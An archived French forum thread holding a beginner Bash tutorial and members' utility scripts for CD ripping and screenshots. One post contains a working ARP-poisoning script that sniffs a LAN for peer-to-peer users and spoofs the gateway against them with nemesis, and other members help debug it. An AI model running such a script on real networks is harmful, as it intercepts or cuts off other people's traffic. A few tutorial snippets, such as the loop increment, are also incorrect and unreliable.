P-A Posté(e) le 11 mars 2005 Partager Posté(e) le 11 mars 2005 [Tuto] Comment et pourquoi utiliser Bash ? Sommaire 1- Introduction a Bash 2- Pourquoi utiliser Bash ? 3- Votre premier script bash 4- Les test en Bash 5- Les boucles en Bash 6- les fonctions en Bash 1- Introduction a bash Le Shell: Les shell sont des interfaces entre l'homme et la machine, ils permettent de dialoguer via un langage specifique avec le systeme . Les shell sont present essentiellement dans les systemes UNIX. Dans ce tutorial, nous allons voir le shell bash, mais sachez qu'il existe d'autre type, tel que le fameux C shell, dit csh. 2- Pourquoi utiliser Bash ? Sachez qu'un script bash permet d'automatiser enormement de chose. Par exemple, pour un developpeur C, il permet d'include les directives preprocesseur #ifndef _NOMFICHIER_H | #define _NOMFICHIER_H | #endif, dans tout les headers et ce, sans que le developpeur ait à se soucier de quoique soit. Un autre exemple d'utilisation, bien connu par la majorité des linuxiens, est la mise en place d'un firewall. En effet, on passe les regles iptables par un script qui s'execute au demarrage de la machine (pour peu qu'on ait mis le script au bon endroit) Vous pouvez aussi imaginer d'autres utilisations, tel que le renommage massif de fichiers, ou encore le nettoyage de votre dossier personnel de façon automatique. 3- Votre premier script shell Avant tout, il faut savoir qu'un script peut utiliser toute les commandes disponibles du système, comme si on était en mode console. Par consequent, on peut écrire le petit script suivant #!/bin/sh ############################ # Hello world ! # ############################ echo "hello world" et voilà votre premier script shell ! notez la premiere ligne. elle indique quel shell doit etre utiliser pour interpreter ce script, en l'occurence sh ! pour la suite rien de complexe, un simple echo, qui peut s'utiliser avec, ou sans quotes. dans ce cas la, elles ne sont pas necessaires, mais si on veut afficher #hello world# par exemple, on ne peut s'en passer ! n'oubliez pas le man pour chaque commande Nous allons maintenant faire le meme script mais avec une variable STRHELLO #!/bin/sh STRHELLO="hello world" echo $STRHELLO bien, on a donc le meme resultat. Sachez qu'en sh , les variables ne sont pas typées, on peut faire tout et n'importe quoi mais attention, cela peut donc etre assez nefaste pour le systeme nerveux si on fait n'importe quoi 4- Les test en shell Bien. l'interet du shell n'est bien evidemment pas d'afficher des hello world toute la journée ;-) + la notion de test pour faire un test en sh, il faut lui indiquer clairement. pour cela, nous allons voir la boucle if. qui a la syntaxe suivante if test $i -eq 0 then # faire les commandes fi que signifie ce bloc if ? vous avez remarquer la presence de la commande test qui peut se remplacer par un le caract_re [. en effet, il existe un lien symbolique de la commande [ vers test. Mais meme s'il s'agit d'un caractere special, cela reste une commande, et donc comme vous le savez il faut des espaces entre chaque commande. on peut donc traduire le script precedent par if [ $i -eq 0 ] then # faire commande fi ne pas oublier de fermer le bloc if par fi ! comparer des variables ne peut se faire a l'aide des ymboles, =,>,< habituels, il faut utiliser la liste de comparateur suivants -eq # pour egal -lt # pour less than ou plus petit que -le # pour less or equal, soit plus petit ou egal -gt # pour greater than, ou plus grand que -ge # pour greater or equal, soit plus grand ou egal + le test case exemple case $TOTO in valeur) # faire commande ;; valeur2) # faire commande 2 ;; *) # faire commande par defaut ;; esac le case permet de tester differentes valeur d'une variable, sans passer par des ifs multiples (pour ceux qui connaissent, c'est le switch du C) on indique dans le bloc case chaque valeur, on peut utiliser le symbole * comme wildcard (joker) on termine le bloc par un esac, ou case a l'envers NB: toute ligne en bash, commençant par le charactere # est une ligne de commentaire dans la suite du tuto, nous verrons les boucles, a bientot EDIT: 21/06/2006 Mise en forme, mieux vaut tard (voire trés tard ) que jamais Lien vers le commentaire Partager sur d’autres sites More sharing options...
P-A Posté(e) le 11 mars 2005 Auteur Partager Posté(e) le 11 mars 2005 5- Les boucles +La Boucle While rien de tel qu'un exemple pour commencer #!/bin/sh i=0 while [ $i -lt 10 ] do echo "PC INpact R0x0r" $i=`expr $i + 1` done Ce code nous affiche dix fois "PC INpact R0x0r". Cela ressemble pas mal au code While du C, donc les habitués ne devrait pas etre destabilisés. on affecte 0 a une variable de bouclage nommée "i". puis on veut boucler dix fois. on indique que le script doit continuer tant que i est strictement inferieur a 10. notez qu'on aurait pu ecrire while test $i -lt 10 do ... l'interieur de cette boucle est plus interressante. en bash, les calculs ne sont pas fait par defaut. il faut lui indiquer la commande expr qui permet d'evaluer une expression mathematique. en l'occurence, l'incrementation de i, soit i+1. notez que la ligne d'incrementation nous propose une bizarrerie. en bash, lorsqu'on souhaite utiliser le resultat d'une fonction, il faut mettre celle ci entre basse-cotes (altGR+7 pour ceux qui ignorent comment les faire, avec un clavier azerty biensur). si vous les omettez, vous verrez que ça ne fonctionne pas. ne pas oublier de terminer le bloc while par done ! +La boucle for les habitués de programmation auront trés certainement remarqué que la boucle precedente est l'apanage des fameuses boucles "for" Grande surprise, en bash, la boucle for nous propose un grosse variante d'approche. prenons la meme boucle que precedement et traduisons la de façon a ce qu'elle fonctionne avec un for #!/bin/sh for i in `seq 0 9` do echo "PC INpact R0x0r" done en realité, la boucle for continue tant que la test condition est rempli. ici ça boucle tant que i est compris dans la sequence de tout les chiffres allant de 0 a 9. l'incrementation est toujours automatique, pas de probleme, on a un for commun. maintenant essayons un script un peu plus esoterique. #!/bin/sh for i in toto tata titi tutu do echo "PC INpact R0x0r" done on lance le script et la surprise, il affiche PC INpact R0x0r 4 fois ! mais pourquoi ? en fait la boucle va s'iterer autant de fois qu'il y a de mot dans la chaine donnée, la boucle for a donc un petit plus ! on peut faire un petit compteur de mot facilement ! #!/bin/sh echo "Entrez une phrase:" read PH echo "------------------" cmpt=0 for i in $PH do cmpt=`expr $cmpt + 1` echo $i "mot n°" $cmpt done echo $cmpt "mots !" et voila on a un petit compteur de mots facilement ! on remarque que la variable i n'a rien de numerique dans ce cas la, elle passe au mot suivant contenu dans la chaine de depart ! for en bash c'est formidable ! 6- Les fonctions en bash Bien, maintenant nous allons voir rapidement comment écrire une fonction dans le cas ou vous avez certains pattern qui se repetent dans votre script. Basiquement, un fonction se déclare grace au mot clef "function", suivi du petit nom que vous lui donnerez. Voici un petit script simpliste qui permet de mieux comprendre ;-) #!/bin/sh function bonjour { echo "bonjour et bienvenue " $1 } echo "Quel est votre nom?" read NOM bonjour $NOM ce petit script, vous l'aurez compris, vous demande votre nom et vous salue bien bas Contrairement aux autres langages de programmation on voit ici qu'il n'est pas nécessaire de préciser de le nombre de paramètres à passer a la fonction. c'est trés permissif, donc il faut faire attention ! Chaque paramètre est accessible via les arguments $1, $2 , $3 etc. (en fonction du nombre de paramètres). Lien vers le commentaire Partager sur d’autres sites More sharing options...
P-A Posté(e) le 11 mars 2005 Auteur Partager Posté(e) le 11 mars 2005 7- Trucs et astuces (A compléter ) ( a faire, si vous avez des idées, postez les dans le topic ) Lien vers le commentaire Partager sur d’autres sites More sharing options...
P-A Posté(e) le 11 mars 2005 Auteur Partager Posté(e) le 11 mars 2005 reservé Lien vers le commentaire Partager sur d’autres sites More sharing options...
ouragan Posté(e) le 12 mars 2005 Partager Posté(e) le 12 mars 2005 excellent. ( Par contre auras-tu assez de <<reservé>> ? ) si non, ben continue après mon message, je l'effacerai à l'occasion ). Lien vers le commentaire Partager sur d’autres sites More sharing options...
Duke98 Posté(e) le 12 mars 2005 Partager Posté(e) le 12 mars 2005 j'attends le boucles avec INpatience Lien vers le commentaire Partager sur d’autres sites More sharing options...
P-A Posté(e) le 14 mars 2005 Auteur Partager Posté(e) le 14 mars 2005 Merci en ce qui concerne les emplacements reservés, je pense 4 que suffiront pour les bases, pour l'utilisation avancé de bash, je ferai un autre topic j'essai de terminer ce tuto le plus rapidement possible mais c'est vrai que j'ai pas mal de taf en ce moment, alors j'essai de concilier, ne m'en veuillez pas si je prends un peu de retard Lien vers le commentaire Partager sur d’autres sites More sharing options...
Duke98 Posté(e) le 14 mars 2005 Partager Posté(e) le 14 mars 2005 mais c'est vrai que j'ai pas mal de taf en ce moment, alors j'essai de concilier, ne m'en veuillez pas si je prends un peu de retard on en est tous la.... Lien vers le commentaire Partager sur d’autres sites More sharing options...
lorinc Posté(e) le 14 mars 2005 Partager Posté(e) le 14 mars 2005 je l'avais pas vu ce petit tuto très sympa bravo ! il y a tellement de chose qu'on pourrait faire en shell pour se simùplifier la vie et qu'on l'on persiste à coder dans un langage plus complexe, que cela méritait bien un petit tuo Lien vers le commentaire Partager sur d’autres sites More sharing options...
tuxbubling Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 Bon ben puisque l'ont parle de bash, voila un ptit script que je viens de faire pour ripper mes cd audios en ogg avec recherche cddb et tag automatique: #! /bin/sh # #Declaration des variables # CDDA2WAV=cdda2wav CDDA2WAV_OPTS='dev=/dev/cdrom -v titles -J -L' CDDB_MODE=1 TMP=/tmp/cdda2cddb ENCODE_DIR=$1 ENC=oggenc ENC_OPTS='- -m 256 -M 320' # #Fonction pour afficher les echo en couleur #31=rouge, 32=vert, 33=jaune,34=bleu, 35=rose, 36=cyan, 37= blanc color() { #echo [$1`shift`m$*[m printf '\033[%sm%s\033[m\n' "$@" } # #Fonction d'insertion manuelle des information # info_manu() { echo echo `color 36 "-------"` echo "Artist?" echo `color 36 "-------"` read DISC_ARTIST echo echo `color 36 "-------"` echo "Album?" echo `color 36 "-------"` read DISC_TITLE for i in audio_*.inf do TRACK_NUM=`cat $i | grep Tracknumber= | sed 's/Tracknumber=//' | sed 's/\t//'` cat $i | sed 's/Tracktitle=//' > $i echo echo `color 36 "--------------"` echo "Titre piste" `color 34 $TRACK_NUM` echo `color 36 "--------------"` read TRACK_TITLE echo "Tracktitle=""'$TRACK_TITLE'" >> $i done } # #Fonction de recup des infos et mise en variable # recup_cddb() { cd $1 echo `color 31 'Verification du cd dans la base de donnees cddb...'` $CDDA2WAV $CDDA2WAV_OPTS $CDDB_MODE 1> /dev/null 2> /dev/null CDINDEX=audio.cdindex if [ -r $CDINDEX ]; then DISC_ARTIST=`cat $CDINDEX | grep '<Artist>' | sed 's/<Artist>//' | cut -f1 -d '<' | sed 's/^ *//'` DISC_TITLE=`cat $CDINDEX | grep '<Title>' | sed 's/<Title>//' | cut -f1 -d '<' | sed 's/^ *//'` else echo `color 31 "ERREUR!!!"` echo `color 31 "Aucune information sur le cd n'as ete trouvee!"` echo echo "---------------------------------------------------------------" echo `color 31 "Voulez vous entrer les informations manuellement? (o/n)"` echo "---------------------------------------------------------------" read REP if [ "$REP" == 'o' ]; then info_manu else exit fi fi echo Artiste: `color 34 "$DISC_ARTIST"` echo Album: `color 32 "$DISC_TITLE"` for i in audio_*.inf do TRACK_NUM=`cat $i | grep Tracknumber= | sed 's/Tracknumber=//' | sed 's/\t//'` TRACK_TITLE=`cat $i | grep Tracktitle= | sed 's/Tracktitle=//' | sed 's/\t//' | tr -d "'" | tr [/] "|"` #dernier tr remplace / par | echo `color 34 "$TRACK_NUM"` `color 36 "$TRACK_TITLE"` done } # #Fonction de lancement de l'encodage avec mise en place des tag # encode() { for i in $TMP/audio_*.inf do TRACK_NUM=`cat $i | grep Tracknumber= | sed 's/Tracknumber=//' | sed 's/\t//'` TRACK_TITLE=`cat $i | grep Tracktitle= | sed 's/Tracktitle=//' | sed 's/\t//' | tr -d "'" | tr [/] "|"` #dernier tr remplace / par | echo "Encodage de la piste:" `color 34 "$TRACK_NUM"` "vers:" `color 36 "$TRACK_NUM - $TRACK_TITLE.ogg"` OUTPUT="$TRACK_NUM - "$TRACK_TITLE"" $CDDA2WAV dev=/dev/cdrom -H -q -t$TRACK_NUM - | $ENC $ENC_OPTS -t "$TRACK_TITLE" -a "$DISC_ARTIST" -l "$DISC_TITLE" -n $TRACK_NUM -o "$ENCODE_DIR/$DISC_TITLE/$OUTPUT".ogg done } # #Verification du lancement du script avec un argument # if [ "$1" == '' ]; then echo `color 31 "ERREUR!!!"` echo `color 31 "Repertoire manquant"` echo `color 32 "Usage:"` echo `color 34 "cdda2cddb /rep/pour/fichiers/ogg"` exit fi # # Creation d'un dossier temporaire propre # if [ -r $TMP ]; then rm -r $TMP mkdir $TMP else mkdir $TMP fi recup_cddb $TMP echo echo "---------------------------------------------------------------" echo `color 31 "Voulez vous lancer l'encodage dans $ENCODE_DIR ? (o/n)"` echo "---------------------------------------------------------------" read REP if [ "$REP" == 'o' ]; then encode $ENCODE_DIR rm -r $TMP else exit fi Ou bien en page web ICI L'usage: ./cdda2cddb lerep/vers/lequel/vous/voulez/ripper :ortho: Bon c'est pas super propre, surtout au niveau des manipulations de string, mais ca a jamais été mon fort ca Si ca peut etre utile a quelqu'un Bon script a tous Ps: Allé soyons fous uin ptit screenshoot MAJ: - Possibilité de mettre les infos du cd manuellement en cas d'echec cddb - verif du lancement du script avec un argument Lien vers le commentaire Partager sur d’autres sites More sharing options...
16ar Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 TFC, c'est pas toi qui avait posté un script bash sur un autre topic l'autre jour ? j'ai oublié de bookmarquer la page. Dommage, je le trouvais sympa, donc je me suis dis qu'il fallait que je le récupere un jour, mais j'ai oublié le topic. J'ai meme oublié a quoi il servait Le seul truc dont je me souvienne, ca devait etre que ct toi l'auteur ^^ Lien vers le commentaire Partager sur d’autres sites More sharing options...
tuxbubling Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 Vui ct moi Ct un script a binder sur une touche pour faire des impressions ecran "en sessions", je l'avais posté dans le bar, je vais le remettre ici vu que c'est plus aproprié #!/bin/bash # # # Declaration variables DIR="/home/tfc/" FILENAME="screen" NUM="" EXT=".png" # Fonctions: # Verif screen_check(){ if [ -r $1 ]; then EXIST=1 else EXIST=0 fi } # Capture screen_cap(){ import -window root $1 } # Increment screen_num_inc(){ if [ "$NUM" == "" ]; then NUM="0" return else NUM=`expr $NUM + 1` fi } #Script: screen_check $DIR$FILENAME$NUM$EXT while [ $EXIST == "1" ]; do screen_num_inc screen_check $DIR$FILENAME$NUM$EXT done screen_cap $DIR$FILENAME$NUM$EXT ## End Ou bien ICI Le script verifie que le fichier recevant le screenshot existe, si c'est le cas, il en cré un nouveau en incrémentant (ex screen.png, screen0.png, screen1.png etc), ca permet d'en prendre plusieurs de suite sans ecraser le precedant. D'ou le "en sessions" , c'est plus simple pour prendre des captures de ton jeu favoris sous wine Le bash c'est bon mangez en Lien vers le commentaire Partager sur d’autres sites More sharing options...
16ar Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 Le script verifie que le fichier recevant le screenshot existe, si c'est le cas, il en cré un nouveau en incrémentant (ex screen.png, screen0.png, screen1.png etc), ca permet d'en prendre plusieurs de suite sans ecraser le precedant. D'ou le "en sessions" , c'est plus simple pour prendre des captures de ton jeu favoris sous wine Le bash c'est bon mangez en Parfait :) Merci beaucoup :) Petite question, ca marche sur les jeux en fullscreen ? :) (je pense que oui, ca prends un screenshot du client X a un instant T) Lien vers le commentaire Partager sur d’autres sites More sharing options...
tuxbubling Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 Oui oui Lien vers le commentaire Partager sur d’autres sites More sharing options...
Sandeman Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 TFC ... joli travail ... enfin moi je tape "abcde" et pis voilà Lien vers le commentaire Partager sur d’autres sites More sharing options...
tuxbubling Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 TFC ... joli travail ... enfin moi je tape "abcde" et pis voilà J'ais pas compris le "abcde"... Lien vers le commentaire Partager sur d’autres sites More sharing options...
Poulpatine Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 Bonsoir @ tous ;-) j'ai un petit soucis avec un petit script à moi, je vous explique le topo. Ce script marchait trés bien mais le truc c'est que au lieu de faire 3 fonctions dans le script je faisais appel à des scripts externes ce qui fait qu'au lieu d'avoir un seul fichier script dans mon repertoire, j'en avais 4 ce qui n'est pas super. Alos j'ai essayé de tout passer dans un seul mais j'ai un soucis avec la commande xargs. En effet, je n'arrive pas à appeller de fonctions internes de mon script quand je me sers de xargs, sauriez vous où ça cloche ? #!/bin/bash ip_gw="192.168.0.1" mac_gw="00:50:7F:24:86:0C" mac_dst="00:0D:88:82:68:15" interface="ath0" poison() { i=0 j=10 while [ $i -lt $j ]; do nemesis arp -rvv -d $interface -H $mac_dst -M $2 -S $ip_gw -D $1 -h $mac_dst -m $2 >> /dev/null sleep 2 let i=i+1 echo ARP number $i / $j to $1 : $2 done } get_mac() { if !(ping -c 1 $1 > /dev/null) then echo host not found else echo host $1 valid... echo arp poisonning in progress... cat /proc/net/arp | grep $1[^[:digit:]] | grep : | grep -o ..:..:..:..:..:.. | xargs -i poison $1 {} fi } snif() { tethereal -R "tcp.srcport == 4662 || tcp.srcport == 1214 || gnutella || bittorrent" -T pdml -a duration:10 | grep ip.dst | grep 192.168.0 | cut -d = -f 3 | cut -d " " -f 2 | sort -u | xargs -i get_mac {} get_mac $ip_to_mac } arp -s $ip_gw $mac_gw while [ 1 ]; do snif sleep 20 done; Merci beaucoup Lien vers le commentaire Partager sur d’autres sites More sharing options...
lorinc Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 je comprends vraiment pas pourquoi tu veux te servir de xargs tu ne peux pas faire un poison $1 `cat machin truc | grep chose | blabla` ??? Lien vers le commentaire Partager sur d’autres sites More sharing options...
Poulpatine Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 yeah merci, je connaissais pas cette façon de faire ;-) ( noobz inside :-/ ) mais y'a un soucis je n'arrive pas à faire passer cette syntaxe avec la premiere ligne 'tethereal ....' Lien vers le commentaire Partager sur d’autres sites More sharing options...
lorinc Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 en faisant get_mac `tethereal -R "tcp.srcport == 4662 || tcp.srcport == 1214 || gnutella || bittorrent" -T pdml -a duration:10 | grep ip.dst | grep 192.168.0 | cut -d = -f 3 | cut -d " " -f 2 | sort -u` , ça ne passe pas? EDIT : executes the command (default is /bin/echo) one or more times with any initial-arguments followed by arguments read from standard input. man xargs, là tu ne te sers pas de l'entrée standard, alors xargs ne te sers à rien... Lien vers le commentaire Partager sur d’autres sites More sharing options...
Poulpatine Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 ok, en fait j'avais mis des apostrophes à la place de simples quotes. le problème c'est que si le sniff ne renvoie rien ça m'appelle quand même la fonction get_mac, enfin, ca c'est secondaire, je peux faire une vérification sur le résultat que j'aurais stocké au préalable dans une variable temporaire. merci pour ton aide ;-) Lien vers le commentaire Partager sur d’autres sites More sharing options...
lorinc Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 c'est pas des quotes normales --> ' <--, hein. c'est des --> ` <-- avec AltGr+7 Lien vers le commentaire Partager sur d’autres sites More sharing options...
Poulpatine Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 yep merci j'avais po fait gaffe ;-) mais je viens de penser à un autre problème, comment je fais si le sniff me renvoie plusieurs ip ? ... c'est pour tout ça que la méthode avec plusieurs scripts dans des fichiers différents fonctionnait . Lien vers le commentaire Partager sur d’autres sites More sharing options...
16ar Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 c'est pas des quotes normales --> ' <--, hein. c'est des --> ` <-- avec AltGr+7 D'ailleurs, je me rappelle plus la difference entre les 2. C quoi ? :) Lien vers le commentaire Partager sur d’autres sites More sharing options...
lorinc Posté(e) le 16 mars 2005 Partager Posté(e) le 16 mars 2005 les quotes simples sont des... ......... ........... simple quotes (ok caynul ) les autres renvoyoient le résultat de la commande qu'elles contiennent : VARIABLE = cat `ls fichier[0123456789]` | grep coucou est en fait la même chose que VAR2=$(ls fichier[0123456789]) VARIABLE=cat $VAR2 | grep coucou mouaif, je suis moyennement convaincu par mon exemple. en fait ` a le même effet que $() , c'est à dire renvoyer le résultat de la commande qu'elle encadre Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Archivé
Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.